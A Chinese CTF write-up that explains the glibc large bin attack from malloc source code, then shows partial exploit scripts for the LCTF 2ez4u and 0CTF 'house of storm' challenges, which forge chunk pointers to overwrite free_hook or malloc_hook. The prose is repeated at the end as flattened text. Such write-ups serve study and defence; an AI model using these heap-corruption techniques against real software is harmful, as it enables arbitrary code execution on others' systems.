largebin学习从源码到做题
字数 1735 2025-08-24 20:49:22

Large Bin Attack 从原理到实战

一、Large Bin 基础原理

1. Large Bin 概述

  • 定义:大于512字节(0x400)的chunk称为large chunk,large bin用于管理这些large chunk
  • 数量:共63个bin,index为64~126
  • 特点:每个bin中的chunk大小不一致,处于一定区间范围内

2. Large Bin 结构特点

  • 指针:除了fd、bk指针外,还有fd_nextsize和bk_nextsize两个指针
  • 链表结构
    • 横向链表:fd和bk形成的循环链表
    • 纵向链表:fd_nextsize和bk_nextsize形成的链表(用于加快查找速度)

3. Large Bin 排序规则

  1. 按照从大到小的顺序排列(表头大,表尾小)
  2. 相同size的chunk按free时间顺序排列
  3. 相同size的chunk中,只有第一个chunk会有fd_nextsize和bk_nextsize指针

二、Large Bin 操作源码分析

1. 申请Large Bin时的源码逻辑

if (!in_smallbin_range(nb)) {
    bin = bin_at(av, idx);
    if ((victim = first(bin)) != bin && (unsigned long)(victim->size) >= (unsigned long)(nb)) {
        victim = victim->bk_nextsize;
        while (((unsigned long)(size = chunksize(victim)) < (unsigned long)(nb)))
            victim = victim->bk_nextsize;
        
        if (victim != last(bin) && victim->size == victim->fd->size)
            victim = victim->fd;
            
        remainder_size = size - nb;
        unlink(av, victim, bck, fwd);
        
        if (remainder_size < MINSIZE) {
            set_inuse_bit_at_offset(victim, size);
            if (av != &main_arena) victim->size |= NON_MAIN_ARENA;
        } else {
            remainder = chunk_at_offset(victim, nb);
            bck = unsorted_chunks(av);
            fwd = bck->fd;
            remainder->bk = bck;
            remainder->fd = fwd;
            bck->fd = remainder;
            fwd->bk = remainder;
            if (!in_smallbin_range(remainder_size)) {
                remainder->fd_nextsize = NULL;
                remainder->bk_nextsize = NULL;
            }
            set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
            set_head(remainder, remainder_size | PREV_INUSE);
            set_foot(remainder, remainder_size);
        }
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
    }
}

2. Unlink操作分析

#define unlink(AV, P, BK, FD) { \
    FD = P->fd; \
    BK = P->bk; \
    if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
        malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
    else { \
        FD->bk = BK; \
        BK->fd = FD; \
        if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) { \
            if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || \
                __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
                malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV); \
            if (FD->fd_nextsize == NULL) { \
                if (P->fd_nextsize == P) \
                    FD->fd_nextsize = FD->bk_nextsize = FD; \
                else { \
                    FD->fd_nextsize = P->fd_nextsize; \
                    FD->bk_nextsize = P->bk_nextsize; \
                    P->fd_nextsize->bk_nextsize = FD; \
                    P->bk_nextsize->fd_nextsize = FD; \
                } \
            } else { \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
            } \
        } \
    } \
}

3. Free状态的Large Bin插入逻辑

victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;

if (fwd != bck) {
    size |= PREV_INUSE;
    if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    } else {
        while ((unsigned long)size < chunksize_nomask(fwd)) {
            fwd = fwd->fd_nextsize;
        }
        
        if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd))
            fwd = fwd->fd;
        else {
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;
        }
        bck = fwd->bk;
    }
} else
    victim->fd_nextsize = victim->bk_nextsize = victim;

mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

三、Large Bin Attack 攻击原理

1. 攻击核心

通过伪造largebin堆块的bk和bk_nextsize指针,在assert时将伪造地址视为堆块,并在fake_chunk的fd和fd_nextsize处写入堆地址。

2. 攻击步骤

  1. 部署好bk和bk_nextsize指针
  2. 当发生assert时,会产生任意地址写堆地址的漏洞
  3. 关键代码逻辑:
    else {
        victim->fd_nextsize = fwd;
        victim->bk_nextsize = fwd->bk_nextsize; // 往victim->bk_nextsize写入fake_chunk地址
        fwd->bk_nextsize = victim;
        victim->bk_nextsize->fd_nextsize = victim; // 往fake_chunk的fd_nextsize写入assert的堆地址
    }
    
    victim->bk = bck; // 往victim-bk写入fake_chunk地址
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim; // 往fake_chunk的fd写入assert的堆地址
    

3. 攻击效果

通过修改fwd的bk和bk_nextsize,造成任意地址的fd和fd_nextsize写堆地址的漏洞。

四、实战案例1:LCTF 2ez4u

1. 题目分析

  • 保护全开
  • 菜单题,功能:
    • malloc:最大申请0x418的chunk
    • free:存在UAF漏洞
    • edit:可以edit已free的堆块
    • show:正常打印

2. 利用思路

方法一:fastbin attack + unsortedbin attack

  1. 泄露地址后,利用unsorted bin攻击malloc_hook-0x50
  2. 在malloc_hook-0x43处构造0x7f的size头
  3. 利用edit写FD伪造,申请出fake chunk
  4. 写入onegadget

方法二:largebin attack

  1. 利用UAF和堆溢出伪造largebin的bk和bk_nextsize
  2. 通过堆块重叠泄露libc地址
  3. 利用fastbin attack修改arena上的top chunk地址
  4. 修改free_hook为system

3. 关键exp代码

# largebin attack部分
edit(0xb, p64(chunk1_addr)) # victim bk_nextsize
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target 

chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr) #fd_nextsize
edit(0x3, chunk2) # chunk2

chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1

edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write

五、实战案例2:0CTF house of storm

1. 题目分析

  • 保护全开
  • 使用mmap分配内存管理堆块
  • 功能:
    • calloc:分配堆块,size和ptr都经过异或加密
    • update:存在off-by-null漏洞
    • free:正常free
    • view:有检查,默认无法使用

2. 利用思路

  1. 利用off-by-null shrink the chunk
  2. 伪造largebin的bk_nextsize和bk指针
  3. 利用堆块插入时的unlink实现任意地址写堆地址
  4. 伪造fake chunk的size
  5. 改写unsorted bin的bk指针指向fake chunk
  6. 申请出fake chunk后修改view检查条件
  7. 泄露地址后改free_hook为onegadget

3. 关键exp代码

# 构造largebin攻击
py = ''
py += '\x00'*0x60
py += p64(0) + p64(0x491)
py += p64(0) + p64(mmap_addr-0x10)
py += '\x00'*0x470
py += p64(0x490) + p64(0x50)
update(1,len(py),py)

py = ''
py += '\x00'*0x70
py += p64(0) + p64(0x481)
py += p64(0) + p64(mmap_addr-0x10+8)
py += p64(0) + p64(mmap_addr-0x10-0x18-5)
py += '\x00'*0x450
py += p64(0x480) + p64(0x50)
update(2,len(py),py)

malloc(0x48) # 触发攻击

六、总结

  1. Large Bin Attack的核心是通过伪造bk和bk_nextsize指针实现任意地址写堆地址
  2. 通常需要结合其他漏洞如UAF、堆溢出等先实现指针的伪造
  3. 攻击成功后可以用于:
    • 泄露地址
    • 修改关键函数指针
    • 构造fake chunk等
  4. House of Storm是结合largebin攻击和unsorted bin特性的高级利用技巧

七、防御措施

  1. 及时更新glibc版本
  2. 注意指针和size的检查
  3. 避免UAF、堆溢出等漏洞
  4. 使用安全的内存管理函数
Large Bin Attack 从原理到实战 一、Large Bin 基础原理 1. Large Bin 概述 定义 :大于512字节(0x400)的chunk称为large chunk,large bin用于管理这些large chunk 数量 :共63个bin,index为64~126 特点 :每个bin中的chunk大小不一致,处于一定区间范围内 2. Large Bin 结构特点 指针 :除了fd、bk指针外,还有fd_ nextsize和bk_ nextsize两个指针 链表结构 : 横向链表:fd和bk形成的循环链表 纵向链表:fd_ nextsize和bk_ nextsize形成的链表(用于加快查找速度) 3. Large Bin 排序规则 按照从大到小的顺序排列(表头大,表尾小) 相同size的chunk按free时间顺序排列 相同size的chunk中,只有第一个chunk会有fd_ nextsize和bk_ nextsize指针 二、Large Bin 操作源码分析 1. 申请Large Bin时的源码逻辑 2. Unlink操作分析 3. Free状态的Large Bin插入逻辑 三、Large Bin Attack 攻击原理 1. 攻击核心 通过伪造largebin堆块的bk和bk_ nextsize指针,在assert时将伪造地址视为堆块,并在fake_ chunk的fd和fd_ nextsize处写入堆地址。 2. 攻击步骤 部署好bk和bk_ nextsize指针 当发生assert时,会产生任意地址写堆地址的漏洞 关键代码逻辑: 3. 攻击效果 通过修改fwd的bk和bk_ nextsize,造成任意地址的fd和fd_ nextsize写堆地址的漏洞。 四、实战案例1:LCTF 2ez4u 1. 题目分析 保护全开 菜单题,功能: malloc:最大申请0x418的chunk free:存在UAF漏洞 edit:可以edit已free的堆块 show:正常打印 2. 利用思路 方法一:fastbin attack + unsortedbin attack 泄露地址后,利用unsorted bin攻击malloc_ hook-0x50 在malloc_ hook-0x43处构造0x7f的size头 利用edit写FD伪造,申请出fake chunk 写入onegadget 方法二:largebin attack 利用UAF和堆溢出伪造largebin的bk和bk_ nextsize 通过堆块重叠泄露libc地址 利用fastbin attack修改arena上的top chunk地址 修改free_ hook为system 3. 关键exp代码 五、实战案例2:0CTF house of storm 1. 题目分析 保护全开 使用mmap分配内存管理堆块 功能: calloc:分配堆块,size和ptr都经过异或加密 update:存在off-by-null漏洞 free:正常free view:有检查,默认无法使用 2. 利用思路 利用off-by-null shrink the chunk 伪造largebin的bk_ nextsize和bk指针 利用堆块插入时的unlink实现任意地址写堆地址 伪造fake chunk的size 改写unsorted bin的bk指针指向fake chunk 申请出fake chunk后修改view检查条件 泄露地址后改free_ hook为onegadget 3. 关键exp代码 六、总结 Large Bin Attack的核心是通过伪造bk和bk_ nextsize指针实现任意地址写堆地址 通常需要结合其他漏洞如UAF、堆溢出等先实现指针的伪造 攻击成功后可以用于: 泄露地址 修改关键函数指针 构造fake chunk等 House of Storm是结合largebin攻击和unsorted bin特性的高级利用技巧 七、防御措施 及时更新glibc版本 注意指针和size的检查 避免UAF、堆溢出等漏洞 使用安全的内存管理函数